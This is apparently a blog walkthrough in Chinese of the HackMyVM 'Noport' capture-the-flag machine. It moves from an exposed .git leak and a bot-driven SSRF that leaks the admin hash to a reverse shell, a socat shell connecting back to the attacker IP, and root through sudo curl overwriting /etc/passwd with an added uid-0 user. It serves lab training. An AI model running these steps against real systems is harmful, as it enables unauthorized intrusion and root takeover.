HackMyVM-Noport-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 5e:bb:f6:9e:ee:fa, IPv4: 192.168.60.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.60.1 00:50:56:c0:00:08 VMware, Inc.
192.168.60.2 00:50:56:e4:1a:e5 VMware, Inc.
192.168.60.203 00:0c:29:6b:c2:32 VMware, Inc.
192.168.60.254 00:50:56:f3:7c:e9 VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.039 seconds (125.55 hosts/sec). 4 responded
export ip=192.168.60.203
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Making sure 'closed' isn't just a state of mind.

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.60.203:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-29 10:12 CST
Initiating ARP Ping Scan at 10:12
Scanning 192.168.60.203 [1 port]
Completed ARP Ping Scan at 10:12, 0.06s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:12
Completed Parallel DNS resolution of 1 host. at 10:12, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 10:12
Scanning 192.168.60.203 [1 port]
Discovered open port 80/tcp on 192.168.60.203
Completed SYN Stealth Scan at 10:12, 0.03s elapsed (1 total ports)
Nmap scan report for 192.168.60.203
Host is up, received arp-response (0.00032s latency).
Scanned at 2025-05-29 10:12:53 CST for 0s

PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
MAC Address: 00:0C:29:6B:C2:32 (VMware)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
Raw packets sent: 2 (72B) | Rcvd: 2 (72B)

枚举目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
❯ dirsearch -u $ip

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25
Wordlist size: 11460

Output File: /home/Pepster/hmv/reports/_192.168.60.203/_25-05-29_10-09-48.txt

Target: http://192.168.60.203/

[10:09:54] Starting:
[10:09:54] 403 - 548B - /.config/gcloud/credentials.db
[10:09:54] 403 - 548B - /.config/gcloud/access_tokens.db
[10:09:55] 403 - 548B - /.db
[10:09:55] 301 - 313B - /.git -> http://192.168.60.203/.git/
[10:09:55] 200 - 727B - /.git/
[10:09:55] 200 - 14B - /.git/COMMIT_EDITMSG
[10:09:55] 200 - 998B - /.git/hooks/
[10:09:55] 200 - 441B - /.git/index
[10:09:55] 200 - 308B - /.git/branches/
[10:09:55] 200 - 240B - /.git/info/exclude
[10:09:55] 200 - 73B - /.git/description
[10:09:55] 200 - 160B - /.git/logs/HEAD
[10:09:55] 200 - 160B - /.git/logs/refs/heads/master
[10:09:55] 200 - 340B - /.git/info/
[10:09:55] 200 - 634B - /.git/objects/
[10:09:55] 200 - 370B - /.git/logs/
[10:09:55] 301 - 324B - /.git/refs/heads -> http://192.168.60.203/.git/refs/heads/
[10:09:55] 200 - 41B - /.git/refs/heads/master
[10:09:55] 301 - 329B - /.git/logs/refs/heads -> http://192.168.60.203/.git/logs/refs/heads/
[10:09:55] 301 - 323B - /.git/refs/tags -> http://192.168.60.203/.git/refs/tags/
[10:09:55] 200 - 92B - /.git/config
[10:09:55] 200 - 23B - /.git/HEAD
[10:09:55] 301 - 323B - /.git/logs/refs -> http://192.168.60.203/.git/logs/refs/
[10:09:55] 200 - 374B - /.git/refs/
[10:09:55] 403 - 277B - /.ht_wsr.txt
[10:09:55] 403 - 277B - /.htaccess.bak1
[10:09:55] 403 - 277B - /.htaccess.sample
[10:09:55] 403 - 277B - /.htaccess.save
[10:09:55] 403 - 277B - /.htaccess.orig
[10:09:55] 403 - 277B - /.htaccess_extra
[10:09:55] 403 - 277B - /.htaccess_sc
[10:09:55] 403 - 277B - /.htaccessBAK
[10:09:55] 403 - 277B - /.htm
[10:09:55] 403 - 277B - /.html
[10:09:55] 403 - 277B - /.htaccess_orig
[10:09:55] 403 - 277B - /.htaccessOLD
[10:09:55] 403 - 277B - /.htpasswd_test
[10:09:55] 403 - 277B - /.htpasswds
[10:09:55] 403 - 277B - /.httr-oauth
[10:09:55] 403 - 277B - /.htaccessOLD2
[10:09:56] 403 - 548B - /.svn/wc.db
[10:10:03] 404 - 274B - /cgi-bin/
[10:10:03] 404 - 274B - /cgi-bin/htmlscript
[10:10:03] 404 - 274B - /cgi-bin/a1stats/a1disp.cgi
[10:10:03] 404 - 274B - /cgi-bin/login.php
[10:10:03] 404 - 274B - /cgi-bin/mt-xmlrpc.cgi
[10:10:03] 404 - 274B - /cgi-bin/index.html
[10:10:03] 404 - 274B - /cgi-bin/login.cgi
[10:10:03] 404 - 274B - /cgi-bin/awstats.pl
[10:10:03] 404 - 274B - /cgi-bin/imagemap.exe?2,2
[10:10:03] 404 - 274B - /cgi-bin/mt/mt.cgi
[10:10:03] 404 - 274B - /cgi-bin/mt7/mt.cgi
[10:10:03] 200 - 820B - /cgi-bin/printenv
[10:10:03] 404 - 274B - /cgi-bin/htimage.exe?2,2
[10:10:03] 404 - 274B - /cgi-bin/php.ini
[10:10:03] 404 - 274B - /cgi-bin/awstats/
[10:10:03] 404 - 274B - /cgi-bin/mt.cgi
[10:10:03] 404 - 274B - /cgi-bin/mt/mt-xmlrpc.cgi
[10:10:03] 404 - 274B - /cgi-bin/mt7/mt-xmlrpc.cgi
[10:10:03] 404 - 274B - /cgi-bin/login
[10:10:03] 404 - 274B - /cgi-bin/test.cgi
[10:10:03] 404 - 274B - /cgi-bin/ViewLog.asp
[10:10:03] 404 - 274B - /cgi-bin/printenv.pl
[10:10:03] 200 - 1KB - /cgi-bin/test-cgi
[10:10:05] 403 - 548B - /devdata.db
[10:10:05] 403 - 548B - /ehthumbs.db
[10:10:11] 403 - 548B - /mysqlitedb.db
[10:10:11] 200 - 1KB - /nginx.conf
[10:10:14] 403 - 548B - /pwd.db
[10:10:16] 403 - 548B - /spwd.db
[10:10:18] 200 - 0B - /test.php
[10:10:18] 403 - 548B - /Thumbs.db
[10:10:18] 403 - 548B - /thumbs.db
[10:10:19] 403 - 548B - /users.db

Task Completed

.git 泄露

发现存在.git泄露

利用githacker将文件下载下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
❯ githacker --url http://$ip/.git/ --output-folder result
2025-05-29 10:10:59 INFO 1 urls to be exploited
2025-05-29 10:10:59 INFO Exploiting http://192.168.60.203/.git/ into result/f587a066dd5044f5f8fab678b1d77f12
2025-05-29 10:10:59 INFO Directory listing enable under: apache
2025-05-29 10:10:59 INFO [14 bytes] 200 .git/COMMIT_EDITMSG
2025-05-29 10:10:59 ERROR FileExistsError(17, 'File exists')
2025-05-29 10:10:59 INFO [23 bytes] 200 .git/HEAD
2025-05-29 10:10:59 ERROR FileExistsError(17, 'File exists')
2025-05-29 10:10:59 ERROR /tmp/tmpywdvx_gy/.git/config is potential dangerous, skip downloading this file
2025-05-29 10:10:59 INFO [73 bytes] 200 .git/description
2025-05-29 10:10:59 ERROR [-1 bytes] -1 .git/config
2025-05-29 10:10:59 ERROR /tmp/tmpywdvx_gy/.git/hooks/applypatch-msg.sample is potential dangerous, skip downloading this file
2025-05-29 10:10:59 ERROR [-1 bytes] -1 .git/hooks/applypatch-msg.sample
2025-05-29 10:10:59 ERROR /tmp/tmpywdvx_gy/.git/hooks/post-update.sample is potential dangerous, skip downloading this file
2025-05-29 10:10:59 ERROR /tmp/tmpywdvx_gy/.git/hooks/pre-applypatch.sample is potential dangerous, skip downloading this file
2025-05-29 10:10:59 ERROR /tmp/tmpywdvx_gy/.git/hooks/commit-msg.sample is potential dangerous, skip downloading this file
2025-05-29 10:10:59 ERROR [-1 bytes] -1 .git/hooks/post-update.sample
2025-05-29 10:10:59 ERROR [-1 bytes] -1 .git/hooks/pre-applypatch.sample
2025-05-29 10:10:59 ERROR [-1 bytes] -1 .git/hooks/commit-msg.sample
2025-05-29 10:10:59 ERROR /tmp/tmpywdvx_gy/.git/hooks/pre-commit.sample is potential dangerous, skip downloading this file
2025-05-29 10:10:59 ERROR /tmp/tmpywdvx_gy/.git/hooks/pre-merge-commit.sample is potential dangerous, skip downloading this file
2025-05-29 10:10:59 ERROR [-1 bytes] -1 .git/hooks/pre-commit.sample
2025-05-29 10:10:59 ERROR /tmp/tmpywdvx_gy/.git/hooks/pre-push.sample is potential dangerous, skip downloading this file
2025-05-29 10:10:59 ERROR [-1 bytes] -1 .git/hooks/pre-merge-commit.sample
2025-05-29 10:10:59 ERROR /tmp/tmpywdvx_gy/.git/hooks/pre-rebase.sample is potential dangerous, skip downloading this file
2025-05-29 10:10:59 ERROR [-1 bytes] -1 .git/hooks/pre-rebase.sample
2025-05-29 10:10:59 ERROR [-1 bytes] -1 .git/hooks/pre-push.sample
2025-05-29 10:10:59 ERROR /tmp/tmpywdvx_gy/.git/hooks/pre-receive.sample is potential dangerous, skip downloading this file
2025-05-29 10:10:59 ERROR /tmp/tmpywdvx_gy/.git/hooks/prepare-commit-msg.sample is potential dangerous, skip downloading this file
2025-05-29 10:10:59 ERROR [-1 bytes] -1 .git/hooks/prepare-commit-msg.sample
2025-05-29 10:11:00 ERROR FileExistsError(17, 'File exists')
2025-05-29 10:11:00 ERROR [-1 bytes] -1 .git/hooks/pre-receive.sample
2025-05-29 10:11:00 ERROR /tmp/tmpywdvx_gy/.git/hooks/update.sample is potential dangerous, skip downloading this file
2025-05-29 10:11:00 ERROR [-1 bytes] -1 .git/hooks/update.sample
2025-05-29 10:11:00 INFO [441 bytes] 200 .git/index
2025-05-29 10:11:00 INFO [240 bytes] 200 .git/info/exclude
2025-05-29 10:11:00 INFO [160 bytes] 200 .git/logs/HEAD
2025-05-29 10:11:00 INFO [160 bytes] 200 .git/logs/refs/heads/master
2025-05-29 10:11:00 INFO [371 bytes] 200 .git/objects/0e/926b0dccc3ebabc70d5ec935c8940f1111363a
2025-05-29 10:11:00 INFO [1470 bytes] 200 .git/objects/3a/54667fdd1357fe97cc0030aca0543650733ba8
2025-05-29 10:11:00 INFO [15 bytes] 200 .git/objects/4b/825dc642cb6eb9a060e54bf8d69288fbee4904
2025-05-29 10:11:00 INFO [806 bytes] 200 .git/objects/54/e3cc3f64b031833ce92d7a677f99c8f3ee0750
2025-05-29 10:11:00 INFO [189 bytes] 200 .git/objects/64/42f9558de272627d5bdc2baa8808e3e46e0918
2025-05-29 10:11:00 INFO [220 bytes] 200 .git/objects/af/f22f58c8dcfd5535cab50dca5b2bb2c2b79435
2025-05-29 10:11:00 INFO [126 bytes] 200 .git/objects/b4/09ae52f1f27e51c0041a1a9079d301133266fa
2025-05-29 10:11:00 INFO [1463 bytes] 200 .git/objects/fb/3f381eefe8c33ea7151921e637f9a8ee7cad15
2025-05-29 10:11:00 INFO [41 bytes] 200 .git/refs/heads/master
2025-05-29 10:11:00 INFO Cloning downloaded repo from /tmp/tmpywdvx_gy to result/f587a066dd5044f5f8fab678b1d77f12
2025-05-29 10:11:00 ERROR Cloning into 'result/f587a066dd5044f5f8fab678b1d77f12'...
done.
2025-05-29 10:11:00 INFO Check it out: result/f587a066dd5044f5f8fab678b1d77f12
2025-05-29 10:11:00 INFO 1 / 1 were exploited successfully
2025-05-29 10:11:00 INFO http://192.168.60.203/.git/ -> result/f587a066dd5044f5f8fab678b1d77f12

查看git commit后的相关文件

1
2
3
4
5
6
7
8
9
10
11
cd result/f587a066dd5044f5f8fab678b1d77f12
ls -al
total 40
drwxr-xr-x 3 Pepster Pepster 4096 May 29 10:11 .
drwxr-xr-x 3 Pepster Pepster 4096 May 29 10:11 ..
-rw-r--r-- 1 Pepster Pepster 1044 May 29 10:11 ctf.conf
drwxr-xr-x 9 Pepster Pepster 4096 May 29 10:11 .git
-rw-r--r-- 1 Pepster Pepster 307 May 29 10:11 .htaccess
-rw-r--r-- 1 Pepster Pepster 3951 May 29 10:11 index.php
-rwxr-xr-x 1 Pepster Pepster 1535 May 29 10:11 nginx.conf
-rw-r--r-- 1 Pepster Pepster 12288 May 29 10:11 .test.php.swp

其中发现存在.test.php.swp即vim的恢复文件

将文件另存为test.php

1
2
❯ vim -r .test.php.swp
:w test.php

其中关键就是index.phptest.php的源码

  • index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php
session_start();
$uri = $_SERVER['REQUEST_URI'];
$path = trim(parse_url($uri, PHP_URL_PATH), '/');

function verify_user() {
if (!isset($_SESSION['username'])) {
header('HTTP/1.1 401 Unauthorized');
echo json_encode(["error" => "Please login first"]);
exit;
}
return $_SESSION['username'];
}

function get_db_connection() {
$db = new SQLite3('/var/www/html/database.db');
return $db;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && $path === 'visit') {
#$username = verify_user();
$uri = $_POST['uri'] ?? '';
if (empty($uri)) {
header('HTTP/1.1 400 Bad Request');
echo json_encode(["error" => "URI is required"]);
exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://127.0.0.1:8080/test.php?uri=" . urlencode($uri));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
"Host: 127.0.0.1:8080"
]);
$res=curl_exec($ch);
if (curl_errno($ch)) {
error_log("cURL error calling test.php: " . curl_error($ch));
} else {
error_log("test.php response: " . $response);
}
curl_close($ch);

header('Content-Type: application/json');
echo json_encode(["message" => "Bot is visiting: $uri"]);
exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && $path === 'login') {
$username = $_POST['username'] ?? '';
$password = hash('sha256', $_POST['password']) ?? '';

$db = get_db_connection();
$stmt = $db->prepare('SELECT * FROM users WHERE username = :username AND password = :password');
$stmt->bindValue(':username', $username, SQLITE3_TEXT);
$stmt->bindValue(':password', $password, SQLITE3_TEXT);
$result = $stmt->execute();
$user = $result->fetchArray(SQLITE3_ASSOC);

if ($user) {
$_SESSION['username'] = $user['username'];
echo json_encode(["message" => "Logged in successfully"]);
header('Location: sh3ll.php');
} else {
header('HTTP/1.1 401 Unauthorized');
echo json_encode(["error" => "Invalid credentials"]);
}
$db->close();
exit;
}

if (!empty($path)) {
$username = verify_user();
$db = get_db_connection();
if (preg_match('/^profile/', $path)) {
$stmt = $db->prepare('SELECT id, username, email, password, api_key, created_at FROM users WHERE username = :username');
$stmt->bindValue(':username', $username, SQLITE3_TEXT);
$result = $stmt->execute();
$user = $result->fetchArray(SQLITE3_ASSOC);

if ($user) {
header('Content-Type: application/json');
header_remove("Cache-Control");
header_remove("Pragma");
header_remove("Expires");
echo json_encode([
"id" => $user['id'],
"username" => $user['username'],
"email" => $user['email'],
"password" => $user['password'],
"api_key" => $user['api_key'],
"created_at" => $user['created_at']
]);
} else {
header('HTTP/1.1 404 Not Found');
header_remove("Cache-Control");
header_remove("Pragma");
header_remove("Expires");
echo json_encode(["error" => "User not found"]);
}
} else {
$file_path = '/var/www/html/' . $path;
if (file_exists($file_path)) {
readfile($file_path);
} else {
header('HTTP/1.1 404 Not Found');
header_remove("Cache-Control");
header_remove("Pragma");
header_remove("Expires");
echo json_encode(["error" => "No match"]);
}
}
$db->close();
exit;
}


?>
<!DOCTYPE html>
<html>
<head><title>Login</title></head>
<body>
<h2>Login</h2>
<form method="post" action="/login">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
</body>
</html>
  • test.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
//czj
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
header('HTTP/1.1 403 Forbidden');
echo "Access Denied";
exit;
}

$admin_password=getenv('ADMIN_PASS');
$base_url = 'http://127.0.0.1:80';
$log_file = __DIR__ . '/log';


function write_log($message) {
global $log_file;
$timestamp = date('Y-m-d H:i:s');
$log_entry = "[$timestamp] $message\n";
file_put_contents($log_file, $log_entry, FILE_APPEND);
}

function login_and_get_cookie() {
global $base_url, $admin_password;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$base_url/login");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'username' => 'admin',
'password' => $admin_password
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);

$headers = [
'User-Agent: Bot',
'Accept: application/json',
'Content-Type: application/x-www-form-urlencoded'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

$response = curl_exec($ch);
if (curl_errno($ch)) {
write_log("cURL login error: " . curl_error($ch));
curl_close($ch);
return null;
}

$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$header = substr($response, 0, $header_size);
curl_close($ch);

preg_match('/PHPSESSID=([^;]+)/', $header, $matches);
return $matches[1] ?? null;
}

function bot_runner($uri) {
global $base_url;
$cookie = login_and_get_cookie();

if (!$cookie) {
write_log("Failed to get admin cookie");
return;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$base_url/$uri");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, "PHPSESSID=$cookie");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '');

$response = curl_exec($ch);
if (curl_errno($ch)) {
write_log("cURL visit error: " . curl_error($ch));
} else {
write_log("Bot visited $uri, response: " . substr($response, 0, 100));
}
curl_close($ch);
sleep(1);
}

if (isset($_GET['uri'])) {
$uri = $_GET['uri'];
write_log("Bot triggered for URI: $uri");
bot_runner($uri);
echo "Bot executed";
}

结合两者源码,可以分析得知index.php作为主入口点,其中的bot.php就是test.php只允许127.0.0.1 访问,并会登录为admin然后访问指定的URI

而且/profile可以查看当前用户信息

那么我们就可以利用bot.php让他替我们去访问/profile

从而获得admin用户的相关信息

根据php代码,我们需要通过POST请求/visit,设置请求内容为uri=profile

1
2
❯ curl http://192.168.60.203/visit -X POST -d "uri=profile"
{"message":"Bot is visiting: profile"}%

然后我们再查看log信息,则可以看到相关信息,不过password不全,只有部分的

1
2
❯ curl http://192.168.60.203/log
[2025-05-29 15:37:31] Bot visited profile, response: {"id":1,"username":"admin","email":"[email protected]","password":"6f06ee724b86fca512018ad692a62aedc

不过有一种情况你是遇到请求/log会显示Please login first

那是因为你还没有请求/visit给他传参,所以Nginxroot目录下可能还没有log文件,导致你对不存在的 /log 文件的请求,会被 Nginx 转发给 index.php 处理

verify_user()失败了,自然而然就输出了Please login first

而当log存在时, Nginx 默认会直接提供静态文件,完全绕过了 index.phpverify_user() 的检查

在线网站查询一下hash

得到密码shredder1

image

用户提权

通过凭证登录后可以执行命令

尝试弹个shell过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ penelope.py
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from noport-192.168.60.203-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[!] Cannot upgrade shell with the available binaries...

1) Upload https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat
2) Upload local socat binary
3) Specify remote socat binary path
4) None of the above

[?] Select action: 4
[+] Readline support enabled
[+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D
[+] Logging to /home/Pepster/.penelope/noport~192.168.60.203_Linux_x86_64/2025_05_29-15_58_54-322.log 📜
───────────────────────────────────────────────────────────────────────────────────
id
uid=101(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)

这个shell下比较难受,利用socat升级一下终端

1
2
3
4
cd /tmp
wget 192.168.60.100/socat
chmod +x socat
./socat tcp:192.168.60.100:8888,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

再次监听端口

得到本地开放22端口,并且还拥有sudo权限,然而并没有什么用

存在用户akaRed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ socat file:`tty`,raw,echo=0 tcp-listen:8888
bash-5.0$ id
uid=101(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache)
bash-5.0$ netstat -luntp
netstat: showing only processes with your user ID
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:22 0.0.0.0:* LISTEN -
bash-5.0$ sudo -l
User apache may run the following commands on noport:
(root) NOPASSWD: /sbin/reboot
bash-5.0$ cat /etc/passwd|grep /bin/ash
root:x:0:0:root:/root:/bin/ash
akaRed:x:1000:1000:Linux User,,,:/home/akaRed:/bin/ash

回到www-data目录,发现nginx.conf文件属性与其他不同755

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
bash-5.0$ cd /var/www/localhost/htdocs/
bash-5.0$ ls -al
total 72
drwxr-xr-x 3 apache apache 4096 May 29 15:37 .
drwxr-xr-x 4 root root 4096 Apr 20 13:45 ..
drwxr-xr-x 8 apache apache 4096 Apr 21 01:24 .git
-rw-r--r-- 1 apache apache 307 Mar 2 10:28 .htaccess
-rw-r--r-- 1 apache apache 12288 Mar 2 11:09 .test.php.swp
-rw-r--r-- 1 apache apache 1044 Apr 21 01:22 ctf.conf
-rw-r--r-- 1 apache apache 20480 Apr 22 14:06 database.db
-rw-r--r-- 1 apache apache 4031 Apr 21 14:54 index.php
-rw-r--r-- 1 apache apache 227 May 29 15:37 log
-rwxr-xr-x 1 apache apache 1535 Mar 2 11:12 nginx.conf
-rw-r--r-- 1 apache apache 452 Mar 1 14:06 sh3ll.php
-rw-r--r-- 1 apache apache 2421 Apr 22 14:28 test.php

预期解是通过修改nginx.conf将22端口通过stream模块代理到80端口,然后配合sudo的重启即可

不知道为啥我不成功😅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 编辑nginx.conf
# 删除http块,或者注释
# 添加如下内容
stream {
upstream ssh_backend {
server 127.0.0.1:22;
}
server {
listen 80;
proxy_pass ssh_backend;
proxy_timeout 10s;
proxy_connect_timeout 1s;
access_log /var/log/nginx/ssh_access.log;
error_log /var/log/nginx/ssh_error.log;
}
}

同时在/var/www下可以看到有个提示,很明显的密码复用

1
2
3
4
bash-5.0$ cd /var/www/
bash-5.0$ cat pass
To prevent myself fron forgetting my password,i set my password to be the same as the website password so that i wont forget it!
为了防止自己忘记密码,我将密码设置为与网站密码相同,这样我就不会忘记了!

Root提权

其实最简单就是,在拿到可交互的shell后,直接切换用户就行了🤣竟然没权限

尝试ssh本地连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
bash-5.0$ su akaRed
bash: /bin/su: Permission denied
bash-5.0$ ls -al /bin/su
lrwxrwxrwx 1 root root 11 Apr 20 22:48 /bin/su -> /bin/bbsuid
bash-5.0$ ssh akaRed@localhost
Could not create directory '/var/www/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:66Wi/BsnYTXMZk8Pqh7zv03E330mhNj8W21ltvR/uqs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
akaRed@localhost's password:
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

noport:~$ id
uid=1000(akaRed) gid=1000(akaRed) groups=1000(akaRed)
noport:~$ cat user.txt
flag{UR_s0_Good_*n-n3tvv0rk_For_660930334}

akaRed用户也拥有sudo权限可以执行curl

1
2
3
4
noport:~$ sudo -l
User akaRed may run the following commands on noport:
(root) NOPASSWD: /usr/bin/curl
(root) NOPASSWD: /sbin/reboot

那不就是任意文件写入了吗

改passwd文件,再写回去即可

方法特别多,改sudoers文件,写公钥,写定时任务,总之选一个自己习惯的就行

1
2
3
4
5
6
noport:~$ cp /etc/passwd .
noport:~$ echo 'primary:zSZ7Whrr8hgwY:0:0::/root:/bin/ash'>>passwd
noport:~$ sudo /usr/bin/curl file:///home/akaRed/passwd -o /etc/passwd
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1367 100 1367 0 0 5704k 0 --:--:-- --:--:-- --:--:-- 5704k

切换用户即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
noport:~$ ssh primary@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:66Wi/BsnYTXMZk8Pqh7zv03E330mhNj8W21ltvR/uqs.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
primary@localhost's password:
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

noport:~# id
uid=0(root) gid=0(root) groups=0(root)
noport:~# cat /root/root.txt
flag{Ur_t3h_Trvely_n3tvv0rk_@ce_on_QQGroup}

不知道为什么交上去是错的,后面问了sML站长

最终的flag是这样的,在flag中少了两个下划线_,可能是后面改过了

1
2
root: flag{Ur_t3h_Trvelyn3tvv0rk@ce_on_QQGroup}
user: flag{UR_s0Good*n-n3tvv0rk_For_660930334}
总字数 633.1k
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务